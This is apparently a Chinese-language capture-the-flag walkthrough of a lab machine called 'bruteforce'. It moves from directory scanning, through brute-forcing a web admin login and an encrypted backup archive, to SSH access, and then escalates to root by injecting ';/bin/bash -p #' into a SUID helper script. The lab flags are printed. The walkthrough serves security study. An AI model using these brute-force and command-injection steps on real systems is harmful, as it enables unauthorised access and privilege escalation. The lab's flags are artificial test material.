

## 找到路径

Target: http://192.168.92.130/

```
[11:08:35] Starting:  
[11:08:36] 403 - 279B - ./ht_wsr.txt  
[11:08:36] 403 - 279B - ./htaccess.orig  
[11:08:36] 403 - 279B - ./htaccess.bak1  
[11:08:36] 403 - 279B - ./htaccess.sample  
[11:08:36] 403 - 279B - ./htaccess.save  
[11:08:36] 403 - 279B - ./htaccess_extra  
[11:08:36] 403 - 279B - ./htaccess_orig  
[11:08:36] 403 - 279B - ./htaccess_sc  
[11:08:36] 403 - 279B - ./htaccessBAK  
[11:08:36] 403 - 279B - ./htaccessOLD  
[11:08:36] 403 - 279B - ./htaccessOLD2  
[11:08:36] 403 - 279B - ./htm  
[11:08:36] 403 - 279B - ./html  
[11:08:36] 403 - 279B - ./htpasswd_test  
[11:08:36] 403 - 279B - ./htpasswd  
[11:08:36] 403 - 279B - ./httr-oauth  
[11:08:37] 403 - 279B - ./php  
[11:08:58] 200 - 891B - /maintenance.html  
[11:09:05] 403 - 279B - /server-status  
[11:09:05] 403 - 279B - /server-status/
```

## [WARDEN-02] AUTOMATED DEFENSE LOG

DO NOT INDEX. INTERNAL USE ONLY.

```
[02:14:50] MONITOR: Traffic spike detected on eth0.  
[02:14:55] ALERT: Signature match {BRUTE_FORCE_SCAN}.  
[02:14:55] ACTION: LOCKDOWN initiated. Public HTTP (80) suspended.  
[02:14:56] NOTIFY: Admin [ta0] alerted via pager.  
[02:14:57] CONFIG: Loading emergency_failover.conf...  
[02:14:58] FAILOVER: Admin Console rerouted to backup port.  
[02:14:58] BIND: Internal Management Interface listening on ::0.0.0.0:9090  
[02:14:59] STATUS: Waiting for authorized secure handshake...
```

访问9090

## 爆破密码

结果	位置																																																																																																																																		
Y Intruder攻击结果过滤器: 显示所有条目																																																																																																																																			
<table border="1"><thead><tr><th>请求</th><th>payload</th><th>状态码</th><th>接收到响应</th><th>错误</th><th>超时</th><th>长度 ^</th><th>错误</th><th>例外</th><th>不合规</th><th>无效的</th><th>失效</th><th>sta</th></tr></thead><tbody><tr><td>1384</td><td>password123</td><td>302</td><td>10</td><td></td><td></td><td>518</td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>0</td><td></td><td>200</td><td>8</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>1</td><td>123456</td><td>200</td><td>5</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>2</td><td>12345</td><td>200</td><td>8</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>3</td><td>123456789</td><td>200</td><td>20</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>4</td><td>password</td><td>200</td><td>20</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>5</td><td>iloveyou</td><td>200</td><td>15</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>6</td><td>princess</td><td>200</td><td>15</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr><tr><td>7</td><td>1234567</td><td>200</td><td>12</td><td></td><td></td><td>1344</td><td>2</td><td></td><td></td><td>1</td><td></td><td></td></tr></tbody></table>		请求	payload	状态码	接收到响应	错误	超时	长度 ^	错误	例外	不合规	无效的	失效	sta	1384	password123	302	10			518							0		200	8			1344	2			1			1	123456	200	5			1344	2			1			2	12345	200	8			1344	2			1			3	123456789	200	20			1344	2			1			4	password	200	20			1344	2			1			5	iloveyou	200	15			1344	2			1			6	princess	200	15			1344	2			1			7	1234567	200	12			1344	2			1		
请求	payload	状态码	接收到响应	错误	超时	长度 ^	错误	例外	不合规	无效的	失效	sta																																																																																																																							
1384	password123	302	10			518																																																																																																																													
0		200	8			1344	2			1																																																																																																																									
1	123456	200	5			1344	2			1																																																																																																																									
2	12345	200	8			1344	2			1																																																																																																																									
3	123456789	200	20			1344	2			1																																																																																																																									
4	password	200	20			1344	2			1																																																																																																																									
5	iloveyou	200	15			1344	2			1																																																																																																																									
6	princess	200	15			1344	2			1																																																																																																																									
7	1234567	200	12			1344	2			1																																																																																																																									
请求																																																																																																																																			
响应																																																																																																																																			
美化																																																																																																																																			
Raw																																																																																																																																			
Hex																																																																																																																																			
1	POST / HTTP/1.1																																																																																																																																		
2	Host: 192.168.92.130:9090																																																																																																																																		
3	Content-Length: 35																																																																																																																																		
4	Cache-Control: max-age=0																																																																																																																																		
5	Origin: http://192.168.92.130:9090																																																																																																																																		
6	Content-Type: application/x-www-form-urlencoded																																																																																																																																		
7	Upgrade-Insecure-Requests: 1																																																																																																																																		
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36																																																																																																																																		
9	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7																																																																																																																																		
0	Referer: http://192.168.92.130:9090/																																																																																																																																		
1	Accept-Encoding: gzip, deflate, br																																																																																																																																		
2	Accept-Language: zh-CN,zh;q=0.9																																																																																																																																		
3	Connection: keep-alive																																																																																																																																		
4																																																																																																																																			
5	username=admin&password=password123																																																																																																																																		

# Welcome, Administrator

The automated backup system has generated a new artifact.

Status: Locked (Encryption Enabled)

Download Backup Artifact

Logout

## 爆破压缩包

### Advanced Archive Password Recovery statistics:

Total passwords	8
Total time	5ms
Average speed (passwords per second)	1,600
Password for this file	rockyou
Password in HEX	72 6f 63 6b 79 6f 75



Save...



OK

## ssh连接 得到flag-user

```
ta0@bruteforce:~$ cat user.txt
flag{user-8a2c4e6d1b9f3a5e7d0c2b4f6a8e1d3c}
ta0@bruteforce:~$
```

<sup>1</sup> flag{user-8a2c4e6d1b9f3a5e7d0c2b4f6a8e1d3c}

## 提权-flag-root

- <sup>1</sup> 没有密码，没法sudo -l
- <sup>2</sup> find / -perm -u=s -type f 2>/dev/null
- <sup>3</sup> 发现/opt/scripts/sys\_monitor
- <sup>4</sup>
- <sup>5</sup> strings /opt/scripts/sys\_monitor
- <sup>6</sup> 正常用法
- <sup>7</sup>

```
ta0@bruteforce:/tmp$ /opt/scripts/sys_monitor X-MNT-9921 apache2
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service apache2 status
● apache2.service - The Apache HTTP Server
  Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
  Active: active (running) since Wed 2026-02-04 09:47:57 EST; 1h 48min ago
    Docs: https://httpd.apache.org/docs/2.4/
   Process: 480 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
 Main PID: 544 (apache2)
   Tasks: 11 (limit: 2358)
  Memory: 84.9M
     CPU: 2.245s
CGroup: /system.slice/apache2.service
├─544 /usr/sbin/apache2 -k start
├─639 /usr/sbin/apache2 -k start
├─642 /usr/sbin/apache2 -k start
├─643 /usr/sbin/apache2 -k start
├─645 /usr/sbin/apache2 -k start
├─646 /usr/sbin/apache2 -k start
├─647 /usr/sbin/apache2 -k start
├─648 /usr/sbin/apache2 -k start
├─651 /usr/sbin/apache2 -k start
└─653 /usr/sbin/apache2 -k start
   659 /usr/sbin/apache2 -k start

Feb 04 09:47:56 bruteforce systemd[1]: Starting The Apache HTTP Server...
Feb 04 09:47:57 bruteforce apachectl[534]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using bruteforce. You probably need to run apache2 -S
Feb 04 09:47:57 bruteforce systemd[1]: Started The Apache HTTP Server.
lines 1-25/25 [END]
```

8  
9 命令注入  
10 /opt/scripts/sys\_monitor X-MNT-9921 ";/bin/bash -p" 报错  
11 /opt/scripts/sys\_monitor X-MNT-9921 ";/bin/bash -p #" 注释后面的status

```
ta0@bruteforce:/tmp$ /opt/scripts/sys_monitor X-MNT-9921 ";/bin/bash -p"
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service ;/bin/bash -p status
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]
/bin/bash: status: No such file or directory
-----
ta0@bruteforce:/tmp$ /opt/scripts/sys_monitor X-MNT-9921 ";/bin/bash -p -i"
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service ;/bin/bash -p -i status
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]
bash: status: No such file or directory
-----
ta0@bruteforce:/tmp$ /opt/scripts/sys_monitor X-MNT-9921 ";/bin/bash -p #"
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service ;/bin/bash -p # status
Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]
root@bruteforce:/tmp#
```

1 root@bruteforce:/tmp# cat /root/root.txt  
2 flag{root-5f1e9d2c8b4a7e3d0c6f9b1a5e2d8c4f}

